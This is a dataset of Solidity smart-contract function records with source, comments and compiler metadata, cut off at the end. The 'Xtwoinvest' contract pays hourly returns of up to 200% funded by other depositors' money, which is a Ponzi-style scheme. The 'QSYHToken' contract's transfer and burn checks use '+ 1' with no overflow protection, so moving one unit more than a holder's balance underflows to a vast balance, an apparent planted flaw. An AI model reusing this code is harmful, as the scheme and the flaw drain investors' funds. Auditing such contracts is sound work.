*/ | NatSpecMultiLine | persentRate | function persentRate() public view returns(uint) {
//get contract balance
uint balance = address(this).balance;
//calculate persent rate
if (balance < stepLow) {
return (startPercent);
}
if (balance >= stepLow && balance < stepMiddle) {
return (lowPersent);
}
if (balance >= stepMiddle && balance < stepHigh) {
return (middlePersent);
}
if (balance >= stepHigh) {
return (highPersent);
}
}
| //calculation of the current interest rate on the deposit | LineComment | v0.4.25+commit.59dbf8f1 | bzzr://007a6c2b00c8bb970d746b8dc7584834eaf955c0b4d36d35ee0a5aa5627111a7 | {
"func_code_index": [
2274,
2824
]
} | 8,363 |
|
Xtwoinvest | Xtwoinvest.sol | 0xc22b670c4ab672a38f4c5b59d1332020afb78c98 | Solidity | Xtwoinvest | contract Xtwoinvest {
//use of library of safe mathematical operations
using SafeMath
for uint;
// array containing information about beneficiaries
mapping(address => uint) public userDeposit;
//array containing information about the time of payment
mapping(address => uint) public userTime;
//array containing information on interest paid
mapping(address => uint) public persentWithdraw;
//fund fo transfer percent
address public projectFund = 0x18e9F86ed0430679f79EF2eA0cc5E1186b80c570;
//wallet for a charitable foundation
address public charityFund = 0xf36EEbB7438aDef0E7fE4650a6Cd6dB238B58c6a;
//percentage deducted to the advertising fund
uint projectPercent = 9;
//percent for a charitable foundation
uint public charityPercent = 1;
//time through which you can take dividends
uint public chargingTime = 1 hours;
//start persent 0.25% per hour
uint public startPercent = 250;
uint public lowPersent = 300;
uint public middlePersent = 350;
uint public highPersent = 375;
//interest rate increase steps
uint public stepLow = 1000 ether;
uint public stepMiddle = 2500 ether;
uint public stepHigh = 5000 ether;
uint public countOfInvestors = 0;
uint public countOfCharity = 0;
modifier isIssetUser() {
require(userDeposit[msg.sender] > 0, "Deposit not found");
_;
}
modifier timePayment() {
require(now >= userTime[msg.sender].add(chargingTime), "Too fast payout request");
_;
}
//return of interest on the deposit
function collectPercent() isIssetUser timePayment internal {
//if the user received 200% or more of his contribution, delete the user
if ((userDeposit[msg.sender].mul(2)) <= persentWithdraw[msg.sender]) {
userDeposit[msg.sender] = 0;
userTime[msg.sender] = 0;
persentWithdraw[msg.sender] = 0;
} else {
uint payout = payoutAmount();
userTime[msg.sender] = now;
persentWithdraw[msg.sender] += payout;
msg.sender.transfer(payout);
}
}
//calculation of the current interest rate on the deposit
function persentRate() public view returns(uint) {
//get contract balance
uint balance = address(this).balance;
//calculate persent rate
if (balance < stepLow) {
return (startPercent);
}
if (balance >= stepLow && balance < stepMiddle) {
return (lowPersent);
}
if (balance >= stepMiddle && balance < stepHigh) {
return (middlePersent);
}
if (balance >= stepHigh) {
return (highPersent);
}
}
//refund of the amount available for withdrawal on deposit
function payoutAmount() public view returns(uint) {
uint persent = persentRate();
uint rate = userDeposit[msg.sender].mul(persent).div(100000);
uint interestRate = now.sub(userTime[msg.sender]).div(chargingTime);
uint withdrawalAmount = rate.mul(interestRate);
return (withdrawalAmount);
}
//make a contribution to the system
function makeDeposit() private {
if (msg.value > 0) {
if (userDeposit[msg.sender] == 0) {
countOfInvestors += 1;
}
if (userDeposit[msg.sender] > 0 && now > userTime[msg.sender].add(chargingTime)) {
collectPercent();
}
userDeposit[msg.sender] = userDeposit[msg.sender].add(msg.value);
userTime[msg.sender] = now;
//sending money for advertising
projectFund.transfer(msg.value.mul(projectPercent).div(100));
//sending money to charity
uint charityMoney = msg.value.mul(charityPercent).div(100);
countOfCharity+=charityMoney;
charityFund.transfer(charityMoney);
} else {
collectPercent();
}
}
//return of deposit balance
function returnDeposit() isIssetUser private {
//userDeposit-persentWithdraw-(userDeposit*8/100)
uint withdrawalAmount = userDeposit[msg.sender].sub(persentWithdraw[msg.sender]).sub(userDeposit[msg.sender].mul(projectPercent).div(100));
//check that the user's balance is greater than the interest paid
require(userDeposit[msg.sender] > withdrawalAmount, 'You have already repaid your deposit');
//delete user record
userDeposit[msg.sender] = 0;
userTime[msg.sender] = 0;
persentWithdraw[msg.sender] = 0;
msg.sender.transfer(withdrawalAmount);
}
function() external payable {
//refund of remaining funds when transferring to a contract 0.00000112 ether
if (msg.value == 0.00000112 ether) {
returnDeposit();
} else {
makeDeposit();
}
}
} | /**
The development of the contract is entirely owned by the Xtwoinvest campaign, any copying of the source code is not legal.
*/ | NatSpecMultiLine | payoutAmount | function payoutAmount() public view returns(uint) {
uint persent = persentRate();
uint rate = userDeposit[msg.sender].mul(persent).div(100000);
uint interestRate = now.sub(userTime[msg.sender]).div(chargingTime);
uint withdrawalAmount = rate.mul(interestRate);
return (withdrawalAmount);
}
| //refund of the amount available for withdrawal on deposit | LineComment | v0.4.25+commit.59dbf8f1 | bzzr://007a6c2b00c8bb970d746b8dc7584834eaf955c0b4d36d35ee0a5aa5627111a7 | {
"func_code_index": [
2891,
3235
]
} | 8,364 |
|
Xtwoinvest | Xtwoinvest.sol | 0xc22b670c4ab672a38f4c5b59d1332020afb78c98 | Solidity | Xtwoinvest | contract Xtwoinvest {
//use of library of safe mathematical operations
using SafeMath
for uint;
// array containing information about beneficiaries
mapping(address => uint) public userDeposit;
//array containing information about the time of payment
mapping(address => uint) public userTime;
//array containing information on interest paid
mapping(address => uint) public persentWithdraw;
//fund fo transfer percent
address public projectFund = 0x18e9F86ed0430679f79EF2eA0cc5E1186b80c570;
//wallet for a charitable foundation
address public charityFund = 0xf36EEbB7438aDef0E7fE4650a6Cd6dB238B58c6a;
//percentage deducted to the advertising fund
uint projectPercent = 9;
//percent for a charitable foundation
uint public charityPercent = 1;
//time through which you can take dividends
uint public chargingTime = 1 hours;
//start persent 0.25% per hour
uint public startPercent = 250;
uint public lowPersent = 300;
uint public middlePersent = 350;
uint public highPersent = 375;
//interest rate increase steps
uint public stepLow = 1000 ether;
uint public stepMiddle = 2500 ether;
uint public stepHigh = 5000 ether;
uint public countOfInvestors = 0;
uint public countOfCharity = 0;
modifier isIssetUser() {
require(userDeposit[msg.sender] > 0, "Deposit not found");
_;
}
modifier timePayment() {
require(now >= userTime[msg.sender].add(chargingTime), "Too fast payout request");
_;
}
//return of interest on the deposit
function collectPercent() isIssetUser timePayment internal {
//if the user received 200% or more of his contribution, delete the user
if ((userDeposit[msg.sender].mul(2)) <= persentWithdraw[msg.sender]) {
userDeposit[msg.sender] = 0;
userTime[msg.sender] = 0;
persentWithdraw[msg.sender] = 0;
} else {
uint payout = payoutAmount();
userTime[msg.sender] = now;
persentWithdraw[msg.sender] += payout;
msg.sender.transfer(payout);
}
}
//calculation of the current interest rate on the deposit
function persentRate() public view returns(uint) {
//get contract balance
uint balance = address(this).balance;
//calculate persent rate
if (balance < stepLow) {
return (startPercent);
}
if (balance >= stepLow && balance < stepMiddle) {
return (lowPersent);
}
if (balance >= stepMiddle && balance < stepHigh) {
return (middlePersent);
}
if (balance >= stepHigh) {
return (highPersent);
}
}
//refund of the amount available for withdrawal on deposit
function payoutAmount() public view returns(uint) {
uint persent = persentRate();
uint rate = userDeposit[msg.sender].mul(persent).div(100000);
uint interestRate = now.sub(userTime[msg.sender]).div(chargingTime);
uint withdrawalAmount = rate.mul(interestRate);
return (withdrawalAmount);
}
//make a contribution to the system
function makeDeposit() private {
if (msg.value > 0) {
if (userDeposit[msg.sender] == 0) {
countOfInvestors += 1;
}
if (userDeposit[msg.sender] > 0 && now > userTime[msg.sender].add(chargingTime)) {
collectPercent();
}
userDeposit[msg.sender] = userDeposit[msg.sender].add(msg.value);
userTime[msg.sender] = now;
//sending money for advertising
projectFund.transfer(msg.value.mul(projectPercent).div(100));
//sending money to charity
uint charityMoney = msg.value.mul(charityPercent).div(100);
countOfCharity+=charityMoney;
charityFund.transfer(charityMoney);
} else {
collectPercent();
}
}
//return of deposit balance
function returnDeposit() isIssetUser private {
//userDeposit-persentWithdraw-(userDeposit*8/100)
uint withdrawalAmount = userDeposit[msg.sender].sub(persentWithdraw[msg.sender]).sub(userDeposit[msg.sender].mul(projectPercent).div(100));
//check that the user's balance is greater than the interest paid
require(userDeposit[msg.sender] > withdrawalAmount, 'You have already repaid your deposit');
//delete user record
userDeposit[msg.sender] = 0;
userTime[msg.sender] = 0;
persentWithdraw[msg.sender] = 0;
msg.sender.transfer(withdrawalAmount);
}
function() external payable {
//refund of remaining funds when transferring to a contract 0.00000112 ether
if (msg.value == 0.00000112 ether) {
returnDeposit();
} else {
makeDeposit();
}
}
} | /**
The development of the contract is entirely owned by the Xtwoinvest campaign, any copying of the source code is not legal.
*/ | NatSpecMultiLine | makeDeposit | function makeDeposit() private {
if (msg.value > 0) {
if (userDeposit[msg.sender] == 0) {
countOfInvestors += 1;
}
if (userDeposit[msg.sender] > 0 && now > userTime[msg.sender].add(chargingTime)) {
collectPercent();
}
userDeposit[msg.sender] = userDeposit[msg.sender].add(msg.value);
userTime[msg.sender] = now;
//sending money for advertising
projectFund.transfer(msg.value.mul(projectPercent).div(100));
//sending money to charity
uint charityMoney = msg.value.mul(charityPercent).div(100);
countOfCharity+=charityMoney;
charityFund.transfer(charityMoney);
} else {
collectPercent();
}
}
| //make a contribution to the system | LineComment | v0.4.25+commit.59dbf8f1 | bzzr://007a6c2b00c8bb970d746b8dc7584834eaf955c0b4d36d35ee0a5aa5627111a7 | {
"func_code_index": [
3279,
4108
]
} | 8,365 |
|
Xtwoinvest | Xtwoinvest.sol | 0xc22b670c4ab672a38f4c5b59d1332020afb78c98 | Solidity | Xtwoinvest | contract Xtwoinvest {
//use of library of safe mathematical operations
using SafeMath
for uint;
// array containing information about beneficiaries
mapping(address => uint) public userDeposit;
//array containing information about the time of payment
mapping(address => uint) public userTime;
//array containing information on interest paid
mapping(address => uint) public persentWithdraw;
//fund fo transfer percent
address public projectFund = 0x18e9F86ed0430679f79EF2eA0cc5E1186b80c570;
//wallet for a charitable foundation
address public charityFund = 0xf36EEbB7438aDef0E7fE4650a6Cd6dB238B58c6a;
//percentage deducted to the advertising fund
uint projectPercent = 9;
//percent for a charitable foundation
uint public charityPercent = 1;
//time through which you can take dividends
uint public chargingTime = 1 hours;
//start persent 0.25% per hour
uint public startPercent = 250;
uint public lowPersent = 300;
uint public middlePersent = 350;
uint public highPersent = 375;
//interest rate increase steps
uint public stepLow = 1000 ether;
uint public stepMiddle = 2500 ether;
uint public stepHigh = 5000 ether;
uint public countOfInvestors = 0;
uint public countOfCharity = 0;
modifier isIssetUser() {
require(userDeposit[msg.sender] > 0, "Deposit not found");
_;
}
modifier timePayment() {
require(now >= userTime[msg.sender].add(chargingTime), "Too fast payout request");
_;
}
//return of interest on the deposit
function collectPercent() isIssetUser timePayment internal {
//if the user received 200% or more of his contribution, delete the user
if ((userDeposit[msg.sender].mul(2)) <= persentWithdraw[msg.sender]) {
userDeposit[msg.sender] = 0;
userTime[msg.sender] = 0;
persentWithdraw[msg.sender] = 0;
} else {
uint payout = payoutAmount();
userTime[msg.sender] = now;
persentWithdraw[msg.sender] += payout;
msg.sender.transfer(payout);
}
}
//calculation of the current interest rate on the deposit
function persentRate() public view returns(uint) {
//get contract balance
uint balance = address(this).balance;
//calculate persent rate
if (balance < stepLow) {
return (startPercent);
}
if (balance >= stepLow && balance < stepMiddle) {
return (lowPersent);
}
if (balance >= stepMiddle && balance < stepHigh) {
return (middlePersent);
}
if (balance >= stepHigh) {
return (highPersent);
}
}
//refund of the amount available for withdrawal on deposit
function payoutAmount() public view returns(uint) {
uint persent = persentRate();
uint rate = userDeposit[msg.sender].mul(persent).div(100000);
uint interestRate = now.sub(userTime[msg.sender]).div(chargingTime);
uint withdrawalAmount = rate.mul(interestRate);
return (withdrawalAmount);
}
//make a contribution to the system
function makeDeposit() private {
if (msg.value > 0) {
if (userDeposit[msg.sender] == 0) {
countOfInvestors += 1;
}
if (userDeposit[msg.sender] > 0 && now > userTime[msg.sender].add(chargingTime)) {
collectPercent();
}
userDeposit[msg.sender] = userDeposit[msg.sender].add(msg.value);
userTime[msg.sender] = now;
//sending money for advertising
projectFund.transfer(msg.value.mul(projectPercent).div(100));
//sending money to charity
uint charityMoney = msg.value.mul(charityPercent).div(100);
countOfCharity+=charityMoney;
charityFund.transfer(charityMoney);
} else {
collectPercent();
}
}
//return of deposit balance
function returnDeposit() isIssetUser private {
//userDeposit-persentWithdraw-(userDeposit*8/100)
uint withdrawalAmount = userDeposit[msg.sender].sub(persentWithdraw[msg.sender]).sub(userDeposit[msg.sender].mul(projectPercent).div(100));
//check that the user's balance is greater than the interest paid
require(userDeposit[msg.sender] > withdrawalAmount, 'You have already repaid your deposit');
//delete user record
userDeposit[msg.sender] = 0;
userTime[msg.sender] = 0;
persentWithdraw[msg.sender] = 0;
msg.sender.transfer(withdrawalAmount);
}
function() external payable {
//refund of remaining funds when transferring to a contract 0.00000112 ether
if (msg.value == 0.00000112 ether) {
returnDeposit();
} else {
makeDeposit();
}
}
} | /**
The development of the contract is entirely owned by the Xtwoinvest campaign, any copying of the source code is not legal.
*/ | NatSpecMultiLine | returnDeposit | function returnDeposit() isIssetUser private {
//userDeposit-persentWithdraw-(userDeposit*8/100)
uint withdrawalAmount = userDeposit[msg.sender].sub(persentWithdraw[msg.sender]).sub(userDeposit[msg.sender].mul(projectPercent).div(100));
//check that the user's balance is greater than the interest paid
require(userDeposit[msg.sender] > withdrawalAmount, 'You have already repaid your deposit');
//delete user record
userDeposit[msg.sender] = 0;
userTime[msg.sender] = 0;
persentWithdraw[msg.sender] = 0;
msg.sender.transfer(withdrawalAmount);
}
| //return of deposit balance | LineComment | v0.4.25+commit.59dbf8f1 | bzzr://007a6c2b00c8bb970d746b8dc7584834eaf955c0b4d36d35ee0a5aa5627111a7 | {
"func_code_index": [
4144,
4780
]
} | 8,366 |
|
QSYHToken | QSYHToken.sol | 0x8f59c838b4818fb77e95a9d6ee42190807d36137 | Solidity | owned | contract owned {
address public owner;
/**
* 初台化构造函数
*/
function owned () public {
owner = msg.sender;
}
/**
* 判断当前合约调用者是否是合约的所有者
*/
modifier onlyOwner {
require (msg.sender == owner);
_;
}
/**
* 合约的所有者指派一个新的管理员
* @param newOwner address 新的管理员帐户地址
*/
function transferOwnership(address newOwner) onlyOwner public {
if (newOwner != address(0)) {
owner = newOwner;
}
}
} | /**
* owned是合约的管理者
*/ | NatSpecMultiLine | owned | function owned () public {
owner = msg.sender;
}
| /**
* 初台化构造函数
*/ | NatSpecMultiLine | v0.4.16+commit.d7661dd9 | None | bzzr://6f992b4cff8f144bc7fea46ee9b37e5b69bff4a7ea2557a548f44b93b49e1358 | {
"func_code_index": [
82,
149
]
} | 8,367 |
QSYHToken | QSYHToken.sol | 0x8f59c838b4818fb77e95a9d6ee42190807d36137 | Solidity | owned | contract owned {
address public owner;
/**
* 初台化构造函数
*/
function owned () public {
owner = msg.sender;
}
/**
* 判断当前合约调用者是否是合约的所有者
*/
modifier onlyOwner {
require (msg.sender == owner);
_;
}
/**
* 合约的所有者指派一个新的管理员
* @param newOwner address 新的管理员帐户地址
*/
function transferOwnership(address newOwner) onlyOwner public {
if (newOwner != address(0)) {
owner = newOwner;
}
}
} | /**
* owned是合约的管理者
*/ | NatSpecMultiLine | transferOwnership | function transferOwnership(address newOwner) onlyOwner public {
if (newOwner != address(0)) {
owner = newOwner;
}
}
| /**
* 合约的所有者指派一个新的管理员
* @param newOwner address 新的管理员帐户地址
*/ | NatSpecMultiLine | v0.4.16+commit.d7661dd9 | None | bzzr://6f992b4cff8f144bc7fea46ee9b37e5b69bff4a7ea2557a548f44b93b49e1358 | {
"func_code_index": [
371,
521
]
} | 8,368 |
QSYHToken | QSYHToken.sol | 0x8f59c838b4818fb77e95a9d6ee42190807d36137 | Solidity | TokenERC20 | contract TokenERC20 {
string public name; //发行的代币名称
string public symbol; //发行的代币符号
uint8 public decimals = 18; //代币单位，展示的小数点后面多少个0。
uint256 public totalSupply; //发行的代币总量
/*记录所有余额的映射*/
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
/* 在区块链上创建一个事件，用以通知客户端*/
//转帐通知事件
event Transfer(address indexed from, address indexed to, uint256 value);
event Burn(address indexed from, uint256 value); //减去用户余额事件
/* 初始化合约，并且把初始的所有代币都给这合约的创建者
* @param initialSupply 代币的总数
* @param tokenName 代币名称
* @param tokenSymbol 代币符号
*/
function TokenERC20(uint256 initialSupply, string tokenName, string tokenSymbol) public {
//初始化总量
totalSupply = initialSupply * 10 ** uint256(decimals);
//给指定帐户初始化代币总量，初始化用于奖励合约创建者
balanceOf[msg.sender] = totalSupply;
name = tokenName;
symbol = tokenSymbol;
}
/**
* 私有方法从一个帐户发送给另一个帐户代币
* @param _from address 发送代币的地址
* @param _to address 接受代币的地址
* @param _value uint256 接受代币的数量
*/
function _transfer(address _from, address _to, uint256 _value) internal {
//避免转帐的地址是0x0
require(_to != 0x0);
//检查发送者是否拥有足够余额
require(balanceOf[_from] + 1>= _value);
//检查是否溢出
require(balanceOf[_to] + _value > balanceOf[_to]);
//保存数据用于后面的判断
uint previousBalances = balanceOf[_from] + balanceOf[_to];
//从发送者减掉发送额
balanceOf[_from] -= _value;
//给接收者加上相同的量
balanceOf[_to] += _value;
//通知任何监听该交易的客户端
Transfer(_from, _to, _value);
//判断买、卖双方的数据是否和转换前一致
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
/**
* 从主帐户合约调用者发送给别人代币
* @param _to address 接受代币的地址
* @param _value uint256 接受代币的数量
*/
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
/**
* 从某个指定的帐户中，向另一个帐户发送代币
* 调用过程，会检查设置的允许最大交易额
* @param _from address 发送者地址
* @param _to address 接受者地址
* @param _value uint256 要转移的代币数量
* @return success 是否交易成功
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
//检查发送者是否拥有足够余额
require(_value <= allowance[_from][msg.sender]);
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
/**
* 设置帐户允许支付的最大金额
* 一般在智能合约的时候，避免支付过多，造成风险
* @param _spender 帐户地址
* @param _value 金额
*/
function approve(address _spender, uint256 _value) public returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
/**
* 设置帐户允许支付的最大金额
* 一般在智能合约的时候，避免支付过多，造成风险，加入时间参数，可以在 tokenRecipient 中做其他操作
* @param _spender 帐户地址
* @param _value 金额
* @param _extraData 操作的时间
*/
function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
/**
* 减少代币调用者的余额
* 操作以后是不可逆的
* @param _value 要删除的数量
*/
function burn(uint256 _value) public returns (bool success) {
//检查帐户余额是否大于要减去的值
require(balanceOf[msg.sender] + 1 >= _value);
//给指定帐户减去余额
balanceOf[msg.sender] -= _value;
//代币问题做相应扣除
totalSupply -= _value;
Burn(msg.sender, _value);
return true;
}
/**
* 删除帐户的余额（含其他帐户）
* 删除以后是不可逆的
* @param _from 要操作的帐户地址
* @param _value 要减去的数量
*/
function burnFrom(address _from, uint256 _value) public returns (bool success) {
//检查帐户余额是否大于要减去的值
require(balanceOf[_from] + 1 >= _value);
//检查 其他帐户 的余额是否够使用
require(_value <= allowance[_from][msg.sender]);
//减掉代币
balanceOf[_from] -= _value;
allowance[_from][msg.sender] -= _value;
//更新总量
totalSupply -= _value;
Burn(_from, _value);
return true;
}
} | /**
* 基础代币合约
*/ | NatSpecMultiLine | TokenERC20 | function TokenERC20(uint256 initialSupply, string tokenName, string tokenSymbol) public {
//初始化总量
totalSupply = initialSupply * 10 ** uint256(decimals);
//给指定帐户初始化代币总量，初始化用于奖励合约创建者
balanceOf[msg.sender] = totalSupply;
name = tokenName;
symbol = tokenSymbol;
}
| /* 初始化合约，并且把初始的所有代币都给这合约的创建者
* @param initialSupply 代币的总数
* @param tokenName 代币名称
* @param tokenSymbol 代币符号
*/ | Comment | v0.4.16+commit.d7661dd9 | None | bzzr://6f992b4cff8f144bc7fea46ee9b37e5b69bff4a7ea2557a548f44b93b49e1358 | {
"func_code_index": [
676,
1002
]
} | 8,369 |
QSYHToken | QSYHToken.sol | 0x8f59c838b4818fb77e95a9d6ee42190807d36137 | Solidity | TokenERC20 | contract TokenERC20 {
string public name; //发行的代币名称
string public symbol; //发行的代币符号
uint8 public decimals = 18; //代币单位，展示的小数点后面多少个0。
uint256 public totalSupply; //发行的代币总量
/*记录所有余额的映射*/
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
/* 在区块链上创建一个事件，用以通知客户端*/
//转帐通知事件
event Transfer(address indexed from, address indexed to, uint256 value);
event Burn(address indexed from, uint256 value); //减去用户余额事件
/* 初始化合约，并且把初始的所有代币都给这合约的创建者
* @param initialSupply 代币的总数
* @param tokenName 代币名称
* @param tokenSymbol 代币符号
*/
function TokenERC20(uint256 initialSupply, string tokenName, string tokenSymbol) public {
//初始化总量
totalSupply = initialSupply * 10 ** uint256(decimals);
//给指定帐户初始化代币总量，初始化用于奖励合约创建者
balanceOf[msg.sender] = totalSupply;
name = tokenName;
symbol = tokenSymbol;
}
/**
* 私有方法从一个帐户发送给另一个帐户代币
* @param _from address 发送代币的地址
* @param _to address 接受代币的地址
* @param _value uint256 接受代币的数量
*/
function _transfer(address _from, address _to, uint256 _value) internal {
//避免转帐的地址是0x0
require(_to != 0x0);
//检查发送者是否拥有足够余额
require(balanceOf[_from] + 1>= _value);
//检查是否溢出
require(balanceOf[_to] + _value > balanceOf[_to]);
//保存数据用于后面的判断
uint previousBalances = balanceOf[_from] + balanceOf[_to];
//从发送者减掉发送额
balanceOf[_from] -= _value;
//给接收者加上相同的量
balanceOf[_to] += _value;
//通知任何监听该交易的客户端
Transfer(_from, _to, _value);
//判断买、卖双方的数据是否和转换前一致
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
/**
* 从主帐户合约调用者发送给别人代币
* @param _to address 接受代币的地址
* @param _value uint256 接受代币的数量
*/
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
/**
* 从某个指定的帐户中，向另一个帐户发送代币
* 调用过程，会检查设置的允许最大交易额
* @param _from address 发送者地址
* @param _to address 接受者地址
* @param _value uint256 要转移的代币数量
* @return success 是否交易成功
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
//检查发送者是否拥有足够余额
require(_value <= allowance[_from][msg.sender]);
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
/**
* 设置帐户允许支付的最大金额
* 一般在智能合约的时候，避免支付过多，造成风险
* @param _spender 帐户地址
* @param _value 金额
*/
function approve(address _spender, uint256 _value) public returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
/**
* 设置帐户允许支付的最大金额
* 一般在智能合约的时候，避免支付过多，造成风险，加入时间参数，可以在 tokenRecipient 中做其他操作
* @param _spender 帐户地址
* @param _value 金额
* @param _extraData 操作的时间
*/
function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
/**
* 减少代币调用者的余额
* 操作以后是不可逆的
* @param _value 要删除的数量
*/
function burn(uint256 _value) public returns (bool success) {
//检查帐户余额是否大于要减去的值
require(balanceOf[msg.sender] + 1 >= _value);
//给指定帐户减去余额
balanceOf[msg.sender] -= _value;
//代币问题做相应扣除
totalSupply -= _value;
Burn(msg.sender, _value);
return true;
}
/**
* 删除帐户的余额（含其他帐户）
* 删除以后是不可逆的
* @param _from 要操作的帐户地址
* @param _value 要减去的数量
*/
function burnFrom(address _from, uint256 _value) public returns (bool success) {
//检查帐户余额是否大于要减去的值
require(balanceOf[_from] + 1 >= _value);
//检查 其他帐户 的余额是否够使用
require(_value <= allowance[_from][msg.sender]);
//减掉代币
balanceOf[_from] -= _value;
allowance[_from][msg.sender] -= _value;
//更新总量
totalSupply -= _value;
Burn(_from, _value);
return true;
}
} | /**
* 基础代币合约
*/ | NatSpecMultiLine | _transfer | function _transfer(address _from, address _to, uint256 _value) internal {
//避免转帐的地址是0x0
require(_to != 0x0);
//检查发送者是否拥有足够余额
require(balanceOf[_from] + 1>= _value);
//检查是否溢出
require(balanceOf[_to] + _value > balanceOf[_to]);
//保存数据用于后面的判断
uint previousBalances = balanceOf[_from] + balanceOf[_to];
//从发送者减掉发送额
balanceOf[_from] -= _value;
//给接收者加上相同的量
balanceOf[_to] += _value;
//通知任何监听该交易的客户端
Transfer(_from, _to, _value);
//判断买、卖双方的数据是否和转换前一致
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
| /**
* 私有方法从一个帐户发送给另一个帐户代币
* @param _from address 发送代币的地址
* @param _to address 接受代币的地址
* @param _value uint256 接受代币的数量
*/ | NatSpecMultiLine | v0.4.16+commit.d7661dd9 | None | bzzr://6f992b4cff8f144bc7fea46ee9b37e5b69bff4a7ea2557a548f44b93b49e1358 | {
"func_code_index": [
1168,
1825
]
} | 8,370 |
QSYHToken | QSYHToken.sol | 0x8f59c838b4818fb77e95a9d6ee42190807d36137 | Solidity | TokenERC20 | contract TokenERC20 {
string public name; //发行的代币名称
string public symbol; //发行的代币符号
uint8 public decimals = 18; //代币单位，展示的小数点后面多少个0。
uint256 public totalSupply; //发行的代币总量
/*记录所有余额的映射*/
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
/* 在区块链上创建一个事件，用以通知客户端*/
//转帐通知事件
event Transfer(address indexed from, address indexed to, uint256 value);
event Burn(address indexed from, uint256 value); //减去用户余额事件
/* 初始化合约，并且把初始的所有代币都给这合约的创建者
* @param initialSupply 代币的总数
* @param tokenName 代币名称
* @param tokenSymbol 代币符号
*/
function TokenERC20(uint256 initialSupply, string tokenName, string tokenSymbol) public {
//初始化总量
totalSupply = initialSupply * 10 ** uint256(decimals);
//给指定帐户初始化代币总量，初始化用于奖励合约创建者
balanceOf[msg.sender] = totalSupply;
name = tokenName;
symbol = tokenSymbol;
}
/**
* 私有方法从一个帐户发送给另一个帐户代币
* @param _from address 发送代币的地址
* @param _to address 接受代币的地址
* @param _value uint256 接受代币的数量
*/
function _transfer(address _from, address _to, uint256 _value) internal {
//避免转帐的地址是0x0
require(_to != 0x0);
//检查发送者是否拥有足够余额
require(balanceOf[_from] + 1>= _value);
//检查是否溢出
require(balanceOf[_to] + _value > balanceOf[_to]);
//保存数据用于后面的判断
uint previousBalances = balanceOf[_from] + balanceOf[_to];
//从发送者减掉发送额
balanceOf[_from] -= _value;
//给接收者加上相同的量
balanceOf[_to] += _value;
//通知任何监听该交易的客户端
Transfer(_from, _to, _value);
//判断买、卖双方的数据是否和转换前一致
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
/**
* 从主帐户合约调用者发送给别人代币
* @param _to address 接受代币的地址
* @param _value uint256 接受代币的数量
*/
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
/**
* 从某个指定的帐户中，向另一个帐户发送代币
* 调用过程，会检查设置的允许最大交易额
* @param _from address 发送者地址
* @param _to address 接受者地址
* @param _value uint256 要转移的代币数量
* @return success 是否交易成功
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
//检查发送者是否拥有足够余额
require(_value <= allowance[_from][msg.sender]);
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
/**
* 设置帐户允许支付的最大金额
* 一般在智能合约的时候，避免支付过多，造成风险
* @param _spender 帐户地址
* @param _value 金额
*/
function approve(address _spender, uint256 _value) public returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
/**
* 设置帐户允许支付的最大金额
* 一般在智能合约的时候，避免支付过多，造成风险，加入时间参数，可以在 tokenRecipient 中做其他操作
* @param _spender 帐户地址
* @param _value 金额
* @param _extraData 操作的时间
*/
function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
/**
* 减少代币调用者的余额
* 操作以后是不可逆的
* @param _value 要删除的数量
*/
function burn(uint256 _value) public returns (bool success) {
//检查帐户余额是否大于要减去的值
require(balanceOf[msg.sender] + 1 >= _value);
//给指定帐户减去余额
balanceOf[msg.sender] -= _value;
//代币问题做相应扣除
totalSupply -= _value;
Burn(msg.sender, _value);
return true;
}
/**
* 删除帐户的余额（含其他帐户）
* 删除以后是不可逆的
* @param _from 要操作的帐户地址
* @param _value 要减去的数量
*/
function burnFrom(address _from, uint256 _value) public returns (bool success) {
//检查帐户余额是否大于要减去的值
require(balanceOf[_from] + 1 >= _value);
//检查 其他帐户 的余额是否够使用
require(_value <= allowance[_from][msg.sender]);
//减掉代币
balanceOf[_from] -= _value;
allowance[_from][msg.sender] -= _value;
//更新总量
totalSupply -= _value;
Burn(_from, _value);
return true;
}
} | /**
* 基础代币合约
*/ | NatSpecMultiLine | transfer | function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
| /**
* 从主帐户合约调用者发送给别人代币
* @param _to address 接受代币的地址
* @param _value uint256 接受代币的数量
*/ | NatSpecMultiLine | v0.4.16+commit.d7661dd9 | None | bzzr://6f992b4cff8f144bc7fea46ee9b37e5b69bff4a7ea2557a548f44b93b49e1358 | {
"func_code_index": [
1947,
2059
]
} | 8,371 |
QSYHToken | QSYHToken.sol | 0x8f59c838b4818fb77e95a9d6ee42190807d36137 | Solidity | TokenERC20 | contract TokenERC20 {
string public name; //发行的代币名称
string public symbol; //发行的代币符号
uint8 public decimals = 18; //代币单位，展示的小数点后面多少个0。
uint256 public totalSupply; //发行的代币总量
/*记录所有余额的映射*/
mapping (address => uint256) public balanceOf;
